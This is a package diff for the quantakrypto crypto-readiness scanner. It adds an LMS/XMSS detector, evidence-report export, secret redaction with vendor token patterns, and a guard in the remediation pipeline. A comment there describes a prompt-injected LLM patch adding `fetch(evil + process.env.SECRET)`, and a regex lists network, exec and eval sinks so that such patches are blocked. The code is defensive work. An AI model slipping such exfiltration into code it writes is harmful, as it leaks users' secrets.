@quantakrypto/core 0.4.1 → 0.4.3

package/src/detectors/stateful-hbs.ts

@@ -0,0 +1,177 @@
+/**
+ * Config / source-agnostic detector: stateful hash-based signatures
+ * (NIST SP 800-208) — LMS, HSS, XMSS and XMSSMT.
+ *
+ * These schemes ARE quantum-safe and NIST-approved (SP 800-208, for firmware /
+ * secure-boot signing), so this is NOT a "broken crypto" finding. The hazard it
+ * flags is STATE MANAGEMENT: each private key holds a bounded set of one-time
+ * key indices, and reusing an index is catastrophic (it enables signature
+ * forgery). The detector therefore surfaces the usage so a reviewer can confirm
+ * rigorous state handling exists — or migrate to a stateless scheme.
+ *
+ * Like {@link pemDetector}, this is a `scope: "config"`, `language: "any"`
+ * detector that runs on every text file, because the distinctive LMS/XMSS
+ * parameter strings and library tokens (`LMS_SHA256_M32_H10`, `pyhsslms`,
+ * `XMSS-SHA2_10_256`, …) appear identically across languages, config, and docs.
+ * Every rule's metadata lives in the {@link RuleMeta} declaration below; the
+ * regexes are tightly bounded and `\b`-anchored to stay high-signal.
+ */
+import type { Detector, Finding, RuleMeta } from "../types.js";
+import { eachMatch, findingFromRule } from "../detect-utils.js";
+import { CWE_RISKY_PRIMITIVE } from "../cwe.js";
+
+/**
+ * Shared remediation for every stateful-HBS finding: these are approved but
+ * STATEFUL, so the reviewer must confirm state management before trusting them.
+ */
+const STATEFUL_HBS_REMEDIATION =
+  "LMS/HSS/XMSS/XMSSMT are NIST-approved (SP 800-208) but STATEFUL: the signer " +
+  "must NEVER reuse a one-time key index (reuse enables signature forgery). Use " +
+  "only with rigorous, crash-safe state management; otherwise prefer the " +
+  "stateless ML-DSA (FIPS 204) or SLH-DSA (FIPS 205).";
+
+/** A stateful-HBS rule: its catalog metadata plus the token regex that triggers it. */
+interface HbsRule {
+  /** Global regex matching the distinctive token. */
+  re: RegExp;
+  meta: RuleMeta;
+}
+
+const HBS_RULES: HbsRule[] = [
+  {
+    // LMS parameter set, e.g. LMS_SHA256_M32_H10 (RFC 8554 / SP 800-208).
+    re: /\bLMS_SHA256_[MN]\d+_[HW]\d+\b/g,
+    meta: {
+      id: "stateful-hbs-lms-param",
+      title: "LMS parameter set (stateful hash-based signature)",
+      description: "LMS/HSS one-time-signature parameter string (SP 800-208)",
+      category: "signature",
+      severity: "medium",
+      confidence: "high",
+      algorithm: "unknown",
+      hndl: false,
+      cwe: CWE_RISKY_PRIMITIVE,
+      message:
+        "LMS parameter set — NIST-approved (SP 800-208) but STATEFUL: reusing a one-time key index is catastrophic.",
+      remediation: STATEFUL_HBS_REMEDIATION,
+    },
+  },
+  {
+    // HSS keygen (hierarchical LMS), e.g. pyhsslms.hss_generate_private_key(...).
+    re: /\bhss_generate_private_key\b/g,
+    meta: {
+      id: "stateful-hbs-hss-keygen",
+      title: "HSS private-key generation (stateful hash-based signature)",
+      description: "HSS (hierarchical LMS) private-key generation call (SP 800-208)",
+      category: "signature",
+      severity: "medium",
+      confidence: "high",
+      algorithm: "unknown",
+      hndl: false,
+      cwe: CWE_RISKY_PRIMITIVE,
+      message:
+        "HSS private-key generation — NIST-approved (SP 800-208) but STATEFUL: never reuse a one-time key index.",
+      remediation: STATEFUL_HBS_REMEDIATION,
+    },
+  },
+  {
+    // pyhsslms — the Python LMS/HSS library import token.
+    re: /\bpyhsslms\b/g,
+    meta: {
+      id: "stateful-hbs-pyhsslms",
+      title: "pyhsslms library (stateful LMS/HSS signatures)",
+      description: "Reference to the pyhsslms LMS/HSS library (SP 800-208)",
+      category: "signature",
+      severity: "medium",
+      confidence: "high",
+      algorithm: "unknown",
+      hndl: false,
+      cwe: CWE_RISKY_PRIMITIVE,
+      message:
+        "pyhsslms (LMS/HSS) — NIST-approved (SP 800-208) but STATEFUL: the signer must never reuse a one-time key index.",
+      remediation: STATEFUL_HBS_REMEDIATION,
+    },
+  },
+  {
+    // XMSS parameter set, e.g. XMSS-SHA2_10_256 (RFC 8391 / SP 800-208).
+    re: /\bXMSS-SHA2_\d+_256\b/g,
+    meta: {
+      id: "stateful-hbs-xmss-param",
+      title: "XMSS parameter set (stateful hash-based signature)",
+      description: "XMSS one-time-signature parameter string (SP 800-208)",
+      category: "signature",
+      severity: "medium",
+      confidence: "high",
+      algorithm: "unknown",
+      hndl: false,
+      cwe: CWE_RISKY_PRIMITIVE,
+      message:
+        "XMSS parameter set — NIST-approved (SP 800-208) but STATEFUL: reusing a one-time key index is catastrophic.",
+      remediation: STATEFUL_HBS_REMEDIATION,
+    },
+  },
+  {
+    // XMSSMT (multi-tree XMSS) parameter set, e.g. XMSSMT-SHA2_20/2_256.
+    re: /\bXMSSMT-SHA2_\d+\b/g,
+    meta: {
+      id: "stateful-hbs-xmssmt-param",
+      title: "XMSSMT parameter set (stateful hash-based signature)",
+      description: "XMSSMT (multi-tree XMSS) parameter string (SP 800-208)",
+      category: "signature",
+      severity: "medium",
+      confidence: "high",
+      algorithm: "unknown",
+      hndl: false,
+      cwe: CWE_RISKY_PRIMITIVE,
+      message:
+        "XMSSMT parameter set — NIST-approved (SP 800-208) but STATEFUL: never reuse a one-time key index.",
+      remediation: STATEFUL_HBS_REMEDIATION,
+    },
+  },
+  {
+    // XMSS keypair generation, e.g. xmss_keypair(...) (liboqs / xmss reference).
+    re: /\bxmss_keypair\b/g,
+    meta: {
+      id: "stateful-hbs-xmss-keypair",
+      title: "XMSS keypair generation (stateful hash-based signature)",
+      description: "XMSS keypair-generation call (SP 800-208)",
+      category: "signature",
+      severity: "medium",
+      confidence: "high",
+      algorithm: "unknown",
+      hndl: false,
+      cwe: CWE_RISKY_PRIMITIVE,
+      message:
+        "XMSS keypair generation — NIST-approved (SP 800-208) but STATEFUL: the signer must never reuse a one-time key index.",
+      remediation: STATEFUL_HBS_REMEDIATION,
+    },
+  },
+];
+
+/** Detects stateful hash-based signature (SP 800-208) usage in arbitrary files. */
+export const statefulHbsDetector: Detector = {
+  id: "stateful-hbs",
+  description:
+    "Stateful hash-based signatures (NIST SP 800-208: LMS / HSS / XMSS / XMSSMT) in any file",
+  scope: "config",
+  language: "any",
+  rules: HBS_RULES.map((r) => r.meta),
+  // Applies to every text file; the walker already filters out binaries.
+  appliesTo: () => true,
+  detect({ file, content }): Finding[] {
+    const findings: Finding[] = [];
+    for (const rule of HBS_RULES) {
+      eachMatch(rule.re, content, (m) => {
+        findings.push(
+          findingFromRule(rule.meta, {
+            file,
+            content,
+            index: m.index,
+            matchLength: m[0].length,
+          }),
+        );
+      });
+    }
+    return findings;
+  },
+};

package/src/evidence.ts

@@ -0,0 +1,124 @@
+/**
+ * ISO/IEC 27001:2022 Annex A 8.24 evidence-chain export
+ * (docs/compliance/iso27001-a8.24-evidence.md).
+ *
+ * Emits a self-describing readiness report bundling the scan result, crypto
+ * inventory, and CycloneDX CBOM, plus an attestation carrying a DETERMINISTIC
+ * content hash — the same scan over the same commit + config yields the same
+ * hash (the volatile scan timestamp is deliberately excluded from the hashed
+ * body). Signing + RFC-3161 timestamping are left to an EXTERNAL, vetted signer
+ * (ADR-0004: this project performs no cryptography itself — it orchestrates a
+ * signer, it does not implement one). SHA-256 here is an integrity hash (a Node
+ * built-in), not an asymmetric primitive.
+ *
+ * Honesty boundary: this artifact is EVIDENCE for A.8.24, not the control. The
+ * organization still owns the cryptography policy, key management, and the
+ * conformance judgment. A clean scan is the absence of detected candidates, not
+ * proof of quantum-safety (qScan is lexical). See docs/COMPLIANCE.md §3.
+ */
+import { createHash } from "node:crypto";
+
+import type { ScanResult } from "./types.js";
+import { toCbom } from "./cbom.js";
+import { VERSION } from "./version.js";
+
+/** Stable per-finding record for the evidence body (deterministic per commit). */
+export interface EvidenceFinding {
+  ruleId: string;
+  algorithm?: string;
+  severity: string;
+  hndl: boolean;
+  file: string;
+  line: number;
+}
+
+export interface ReadinessReport {
+  reportType: "quantakrypto-readiness";
+  specVersion: 1;
+  subject: {
+    repository: string | null;
+    commit: string | null;
+    scannedRoot: string;
+    scanTimeUtc: string;
+  };
+  tool: { name: "qScan"; version: string };
+  inventory: ScanResult["inventory"];
+  findings: EvidenceFinding[];
+  cbom: unknown;
+  attestation: {
+    /** sha256 over the canonicalized deterministic body (excludes scanTimeUtc). */
+    contentHash: string;
+    /** RFC-3161 / transparency-log token — filled by an external signer. */
+    timestamp: null;
+    /** Detached signature over `contentHash` — filled by an external signer. */
+    signature: null;
+  };
+}
+
+/** Canonical JSON: object keys sorted recursively, so the hash is reproducible. */
+function canonicalize(value: unknown): unknown {
+  if (Array.isArray(value)) return value.map(canonicalize);
+  if (value && typeof value === "object") {
+    const out: Record<string, unknown> = {};
+    for (const k of Object.keys(value as Record<string, unknown>).sort()) {
+      out[k] = canonicalize((value as Record<string, unknown>)[k]);
+    }
+    return out;
+  }
+  return value;
+}
+
+export interface ReadinessReportOptions {
+  /** Repository URL (e.g. from `GITHUB_REPOSITORY`); omitted → null. */
+  repository?: string;
+  /** Full commit SHA (e.g. from `GITHUB_SHA`); omitted → null. */
+  commit?: string;
+}
+
+/**
+ * Build the A.8.24 readiness report for a scan result. The attestation's
+ * `contentHash` covers everything EXCEPT the scan timestamp and the attestation
+ * block itself, so re-running the same scan on the same commit is verifiable.
+ */
+export function buildReadinessReport(
+  result: ScanResult,
+  opts: ReadinessReportOptions = {},
+): ReadinessReport {
+  const findings: EvidenceFinding[] = result.findings.map((f) => ({
+    ruleId: f.ruleId,
+    ...(f.algorithm ? { algorithm: f.algorithm } : {}),
+    severity: f.severity,
+    hndl: f.hndl,
+    file: f.location.file,
+    line: f.location.line,
+  }));
+
+  // The CBOM is a deterministic *view* of the (hashed) findings + inventory, but
+  // its CycloneDX envelope carries a volatile timestamp/serial — so it is
+  // EXCLUDED from the hashed body (its integrity follows from its hashed inputs)
+  // to keep the content hash reproducible across scan runs on the same commit.
+  const hashableBody = {
+    reportType: "quantakrypto-readiness",
+    specVersion: 1,
+    subject: {
+      repository: opts.repository ?? null,
+      commit: opts.commit ?? null,
+      scannedRoot: result.root,
+    },
+    tool: { name: "qScan", version: VERSION },
+    inventory: result.inventory,
+    findings,
+  };
+  const contentHash =
+    "sha256:" +
+    createHash("sha256")
+      .update(JSON.stringify(canonicalize(hashableBody)))
+      .digest("hex");
+
+  return {
+    ...hashableBody,
+    subject: { ...hashableBody.subject, scanTimeUtc: result.finishedAt },
+    cbom: toCbom(result),
+    attestation: { contentHash, timestamp: null, signature: null },
+  } as ReadinessReport;
+}

package/src/index.ts

@@ -104,12 +104,15 @@ export { vulnerableDependencies, DEP_VULNERABLE_RULE, isManifestFile } from "./d
 export { SEVERITY_ORDER, severityRank, meetsThreshold, sarifLevel } from "./severity.js";
 
 // Reporters.
-export { toSarif, toJson, formatSummary } from "./report.js";
+export { toSarif, toJson, formatSummary, formatTierGuidance } from "./report.js";
 export type { ReportOptions } from "./report.js";
 
 // CycloneDX 1.6 cryptographic bill of materials (CBOM) export.
 export { toCbom } from "./cbom.js";
 export type { CycloneDxBom, CbomComponent } from "./cbom.js";
+// ISO/IEC 27001 A.8.24 evidence-chain readiness report.
+export { buildReadinessReport } from "./evidence.js";
+export type { ReadinessReport, EvidenceFinding, ReadinessReportOptions } from "./evidence.js";
 
 // Remediation lookup (family + tier-aware) and stateful-HBS guidance.
 export {
@@ -117,6 +120,7 @@ export {
   remediationForTier,
   TIER_PARAMS,
   STATEFUL_HBS_NOTE,
+  PQC_TRANSITION_NOTE,
   statefulHbsApplies,
 } from "./remediation.js";
 export type { SecurityTier } from "./remediation.js";

package/src/inventory.ts

@@ -36,6 +36,34 @@ function penaltyFor(weight: number, occurrence: number): number {
 /** Decay constant for the readiness score (larger = more forgiving). */
 const SCORE_SCALE = 100;
 
+/**
+ * Fraction of the normal penalty a finding in test/fixture/example/doc code
+ * contributes to the readiness score. Such findings are almost always test
+ * vectors, sample keys, or the library's own algorithm enumerations — accurate
+ * detections, but not the deployed crypto whose migration the score is meant to
+ * track. Real-repo runs showed 60–77% of findings live in these paths, which
+ * dragged the score of no-real-crypto codebases down unfairly. They still appear
+ * in the inventory counts in full; only their *score* weight is reduced.
+ */
+const TEST_PATH_WEIGHT = 0.15;
+
+/** True when a finding's file path is test / fixture / example / documentation. */
+export function isTestOrFixturePath(file: string): boolean {
+  const f = file.toLowerCase().replace(/\\/g, "/");
+  if (
+    /(?:^|\/)(?:tests?|__tests__|testdata|test-data|fixtures?|examples?|demos?|samples?|specs?|mocks?|docs?|benchmarks?|e2e)\//.test(
+      f,
+    )
+  ) {
+    return true;
+  }
+  const base = f.slice(f.lastIndexOf("/") + 1);
+  if (/(?:^|[_.-])(?:test|spec)\.[a-z0-9]+$/.test(base)) return true; // test.go, foo_test.go, foo.test.ts
+  if (/^test_[^/]+\.py$/.test(base)) return true; // python test_foo.py
+  if (/^changelog/.test(base) || /\.(?:md|markdown|rst|adoc|asciidoc)$/.test(base)) return true;
+  return false;
+}
+
 /**
  * Compute a 0–100 readiness score. 100 means no classical asymmetric crypto was
  * found. Findings accrue a severity-weighted penalty (with per-bucket diminishing
@@ -58,7 +86,9 @@ export function readinessScore(findings: Finding[]): number {
   let penalty = 0;
   for (const f of findings) {
     seen[f.severity] += 1;
-    penalty += penaltyFor(SEVERITY_WEIGHT[f.severity], seen[f.severity]);
+    const weight =
+      SEVERITY_WEIGHT[f.severity] * (isTestOrFixturePath(f.location.file) ? TEST_PATH_WEIGHT : 1);
+    penalty += penaltyFor(weight, seen[f.severity]);
   }
 
   return Math.max(0, Math.min(100, Math.round(100 * Math.exp(-penalty / SCORE_SCALE))));

package/src/parallel.ts

@@ -312,9 +312,14 @@ function runPool(
       signal.addEventListener("abort", onAbort, { once: true });
     }
 
+    // Workers we intentionally terminate (no more chunks / on cleanup). Their
+    // `exit` event is expected and must NOT be treated as a crash.
+    const retired = new WeakSet<NodeWorker>();
+
     const dispatch = (w: NodeWorker): void => {
       if (failed) return;
       if (next >= chunks.length) {
+        retired.add(w);
         void w.terminate();
         return;
       }
@@ -358,6 +363,16 @@ function runPool(
           reject(err);
         }
       });
+      // A worker that dies WITHOUT an `error` or `message` (e.g. a `process.exit`
+      // in loaded code) would otherwise leave the pool pending forever. Reject so
+      // scanParallel falls back to the serial path (audit: arch #5). Expected
+      // exits (retired workers, post-completion cleanup) are ignored.
+      w.on("exit", (code) => {
+        if (failed || retired.has(w) || done === chunks.length) return;
+        failed = true;
+        cleanup();
+        reject(new Error(`scan worker exited early (code ${code}) before completing its chunk`));
+      });
       return w;
     };
 

package/src/redact.ts

@@ -12,22 +12,139 @@ import type { ContextLevel, RedactedContext } from "./agent-types.js";
 /** Lines of context on each side of the match at `snippet` level. */
 const SNIPPET_RADIUS = 8;
 
+/** The placeholder that replaces any redacted secret. */
+const REDACTED = "«redacted-secret»";
+
 /**
- * PEM blocks and long unbroken base64 runs (≥120 chars) are treated as secret
- * material and masked, even inside otherwise-shareable code.
+ * Text longer than this is not scanned pattern-by-pattern — we fail CLOSED
+ * (redact the whole thing). Bounds worst-case work and sidesteps any engine
+ * limit on pathological single-token runs.
  */
-const SECRET_RE =
-  /-----BEGIN [A-Z0-9 ]+-----[\s\S]*?-----END [A-Z0-9 ]+-----|[A-Za-z0-9+/]{120,}={0,2}/g;
+const MAX_SECRET_SCAN = 2_000_000;
 
-function stripSecrets(text: string): { text: string; redacted: boolean } {
+/**
+ * High-signal secret shapes. EVERY quantifier has an explicit upper bound so
+ * matching stays linear — no catastrophic backtracking and no regex-engine
+ * stack overflow on multi-megabyte runs (both were real DoS vectors with the
+ * old unbounded `{120,}` / `[\s\S]*?` patterns). Private-key BLOCKS are handled
+ * separately, line-by-line, so a truncated key (missing `-----END-----`) is
+ * still caught.
+ */
+const TOKEN_PATTERNS: readonly RegExp[] = [
+  /\b(?:AKIA|ASIA)[A-Z0-9]{16}\b/g, // AWS access key id
+  /\bgh[posru]_[A-Za-z0-9]{20,255}\b/g, // GitHub token
+  /\bgithub_pat_[A-Za-z0-9_]{20,255}\b/g, // GitHub fine-grained PAT
+  /\bxox[baprs]-[A-Za-z0-9-]{10,255}\b/g, // Slack
+  /\bsk-(?:proj-)?[A-Za-z0-9_-]{20,255}\b/g, // OpenAI
+  /\b[rs]k_live_[A-Za-z0-9]{20,255}\b/g, // Stripe
+  /\bAIza[A-Za-z0-9_-]{35}\b/g, // Google API key
+  /\bglpat-[A-Za-z0-9_-]{20,255}\b/g, // GitLab PAT
+  /\beyJ[A-Za-z0-9_-]{8,4096}\.[A-Za-z0-9_-]{8,4096}\.[A-Za-z0-9_-]{6,4096}\b/g, // JWT
+  // Assignment of a secret-looking key (.env / config lines).
+  /(?:secret|token|passwd|password|api[_-]?key|access[_-]?key|client[_-]?secret|private[_-]?key)["'`]?\s*[:=]\s*["'`]?[^\s"'`,;]{6,4096}/gi,
+  /\b[0-9a-fA-F]{40,4096}\b/g, // long hex run (≥20 bytes)
+  /[A-Za-z0-9+/]{44,4096}={0,2}/g, // long base64 run (≥32 bytes)
+];
+
+/** Shannon entropy of a string, in bits per character. */
+function shannonEntropy(s: string): number {
+  const freq = new Map<string, number>();
+  for (const ch of s) freq.set(ch, (freq.get(ch) ?? 0) + 1);
+  let e = 0;
+  for (const n of freq.values()) {
+    const p = n / s.length;
+    e -= p * Math.log2(p);
+  }
+  return e;
+}
+
+/**
+ * Catch-all for high-entropy secret tokens the named {@link TOKEN_PATTERNS}
+ * above miss (custom / novel key formats not tied to a known vendor prefix).
+ * Best-effort and biased toward over-redaction (safe): only a *long*,
+ * *high-entropy*, *charset-diverse* run is replaced, so ordinary code
+ * identifiers, words, and prose are left intact for the LLM to work with.
+ */
+const HIGH_ENTROPY_RUN = /[A-Za-z0-9_\-+/=.]{24,256}/g;
+function redactHighEntropy(text: string): { text: string; redacted: boolean } {
   let redacted = false;
-  const out = text.replace(SECRET_RE, () => {
-    redacted = true;
-    return "«redacted-secret»";
+  const out = text.replace(HIGH_ENTROPY_RUN, (m) => {
+    const classes =
+      (/[A-Z]/.test(m) ? 1 : 0) + (/[a-z]/.test(m) ? 1 : 0) + (/[0-9]/.test(m) ? 1 : 0);
+    const hasSpecial = /[+/=_-]/.test(m);
+    // Random secrets are charset-diverse AND high-entropy; identifiers usually
+    // fail one of these (an identifier has repetition / structure → lower entropy).
+    if ((classes >= 3 || (classes >= 2 && hasSpecial)) && shannonEntropy(m) >= 4.0) {
+      redacted = true;
+      return REDACTED;
+    }
+    return m;
   });
   return { text: out, redacted };
 }
 
+/** Redact PEM/OpenSSH/PGP private-key blocks line-by-line (linear; tolerant of
+ * a missing END marker — a truncated key is still fully redacted). */
+function redactPrivateKeyBlocks(text: string): { text: string; redacted: boolean } {
+  const begin =
+    /-----BEGIN (?:[A-Z0-9 ]*PRIVATE KEY|OPENSSH PRIVATE KEY|PGP PRIVATE KEY BLOCK)-----/;
+  const end = /-----END /;
+  let redacted = false;
+  let inKey = false;
+  const out: string[] = [];
+  for (const line of text.split("\n")) {
+    if (!inKey && begin.test(line)) {
+      inKey = true;
+      redacted = true;
+      out.push(REDACTED);
+      continue;
+    }
+    if (inKey) {
+      if (end.test(line)) inKey = false;
+      continue; // drop key-body / END lines
+    }
+    out.push(line);
+  }
+  return { text: out.join("\n"), redacted };
+}
+
+// Single-entry memo: same-file findings re-request the identical file content;
+// this makes the whole-file redaction O(n) across all of them instead of O(n·k).
+let memoInput: string | undefined;
+let memoResult: { text: string; redacted: boolean } | undefined;
+
+/** Replace every secret-looking token/block in `text` with {@link REDACTED}.
+ * Fails CLOSED: on oversized input or any error, the whole text is redacted. */
+function stripSecrets(text: string): { text: string; redacted: boolean } {
+  if (memoInput === text && memoResult) return memoResult;
+  let result: { text: string; redacted: boolean };
+  if (text.length > MAX_SECRET_SCAN) {
+    result = { text: REDACTED, redacted: true };
+  } else {
+    try {
+      const pem = redactPrivateKeyBlocks(text);
+      let out = pem.text;
+      let redacted = pem.redacted;
+      for (const re of TOKEN_PATTERNS) {
+        out = out.replace(re, () => {
+          redacted = true;
+          return REDACTED;
+        });
+      }
+      // Best-effort entropy catch-all for novel token shapes the named patterns miss.
+      const ent = redactHighEntropy(out);
+      out = ent.text;
+      redacted = redacted || ent.redacted;
+      result = { text: out, redacted };
+    } catch {
+      result = { text: REDACTED, redacted: true };
+    }
+  }
+  memoInput = text;
+  memoResult = result;
+  return result;
+}
+
 /** Best-effort enclosing brace/colon block around a 0-based line index. */
 function enclosingBlock(lines: string[], idx: number): string {
   let start = idx;

package/src/registry.ts

@@ -20,6 +20,7 @@ import { rustDetector } from "./detectors/rust.js";
 import { rubyDetector } from "./detectors/ruby.js";
 import { cDetector } from "./detectors/c.js";
 import { pemDetector } from "./detectors/pem.js";
+import { statefulHbsDetector } from "./detectors/stateful-hbs.js";
 
 /** Normalised scope of a detector (defaults to "source" when undeclared). */
 export function detectorScope(d: Detector): DetectorScope {
@@ -111,8 +112,8 @@ export class DetectorRegistry {
 /**
  * The built-in detectors, in run order: the JS/TS source + config detectors,
  * then the per-language detectors (Python, Go, Java, C#, Rust, Ruby, C/C++),
- * then the language-agnostic PEM detector. The manifest (dependency) scanner is
- * handled separately by `scan()`.
+ * then the language-agnostic PEM and stateful-HBS (SP 800-208) detectors. The
+ * manifest (dependency) scanner is handled separately by `scan()`.
  *
  * This is the single source of truth for the default detector set: both
  * {@link defaultRegistry} and the public `detectors` export (re-exported from
@@ -128,6 +129,7 @@ export const builtinDetectors: Detector[] = [
   rubyDetector,
   cDetector,
   pemDetector,
+  statefulHbsDetector,
 ];
 
 /**

package/src/remediate-pipeline.ts

@@ -45,6 +45,52 @@ function passesVerify(before: Finding[], after: Finding[], finding: Finding): bo
   return targetGone && noNewRuleTypes && after.length < before.length;
 }
 
+/**
+ * Exfiltration / RCE primitives an LLM "crypto fix" should never *newly*
+ * introduce. `verifyFix` only proves the crypto finding is gone — it is blind to
+ * the rest of a full-file rewrite, so an injected/hostile model could drop the
+ * RSA call and add `fetch(evil + process.env.SECRET)` and still pass. This guard
+ * runs ONLY on `source: "llm"` patches (codemods are deterministic + trusted).
+ */
+const NEW_SINK_RE =
+  /\b(?:fetch|XMLHttpRequest|WebSocket|navigator\.sendBeacon|child_process|execSync|execFileSync|spawnSync|exec(?:File)?\s*\(|spawn\s*\(|eval\s*\(|new\s+Function|os\.system|subprocess|Runtime\.getRuntime|require\s*\(\s*['"](?:child_process|http|https|net|dns|dgram)['"]|import\s*\(\s*['"](?:child_process|http|https|net|dns|dgram)['"])/g;
+
+/** Max changed lines allowed in an auto-verified LLM patch — a real crypto fix
+ * is localized; a sprawling rewrite is not reviewable as "just the fix". */
+export const LLM_PATCH_MAX_CHANGED_LINES = 60;
+
+function countMatches(re: RegExp, s: string): number {
+  return (s.match(re) ?? []).length;
+}
+
+/** Changed lines (removed + added) between two revisions, ignoring the shared
+ * prefix/suffix — same shape the CLI's unified-diff uses. */
+function changedLineCount(before: string, after: string): number {
+  const a = before.split("\n");
+  const b = after.split("\n");
+  let start = 0;
+  while (start < a.length && start < b.length && a[start] === b[start]) start++;
+  let endA = a.length - 1;
+  let endB = b.length - 1;
+  while (endA >= start && endB >= start && a[endA] === b[endB]) {
+    endA--;
+    endB--;
+  }
+  return Math.max(0, endA - start + 1) + Math.max(0, endB - start + 1);
+}
+
+/** Reason an LLM patch is unsafe to auto-verify, or null when it is bounded. */
+function llmPatchRisk(before: string, patch: Patch): string | null {
+  if (countMatches(NEW_SINK_RE, patch.newContent) > countMatches(NEW_SINK_RE, before)) {
+    return "LLM patch introduces a new network/exec/eval sink (possible prompt-injection); rejected — review the diff manually";
+  }
+  const changed = changedLineCount(before, patch.newContent);
+  if (changed > LLM_PATCH_MAX_CHANGED_LINES) {
+    return `LLM patch changes ${changed} lines (> ${LLM_PATCH_MAX_CHANGED_LINES}); too broad to auto-verify — review the diff manually`;
+  }
+  return null;
+}
+
 /**
  * Run each finding through patchSource → policy → verify, collecting the patches
  * that survive both gates and the reasons the rest were dropped.
@@ -68,6 +114,15 @@ export async function remediateFindings(
       rejected.push({ finding, reason: decision.reason ?? "rejected by patch policy" });
       continue;
     }
+    // Untrusted full-file LLM rewrites get a blast-radius gate the crypto-only
+    // verify step can't provide (new-sink + change-size bound).
+    if (patch.source === "llm") {
+      const risk = llmPatchRisk(content, patch);
+      if (risk) {
+        rejected.push({ finding, reason: risk });
+        continue;
+      }
+    }
     const before = verifyFix(content, { filename: finding.location.file }).findings;
     const after = verifyFix(patch.newContent, { filename: patch.path }).findings;
     if (!passesVerify(before, after, finding)) {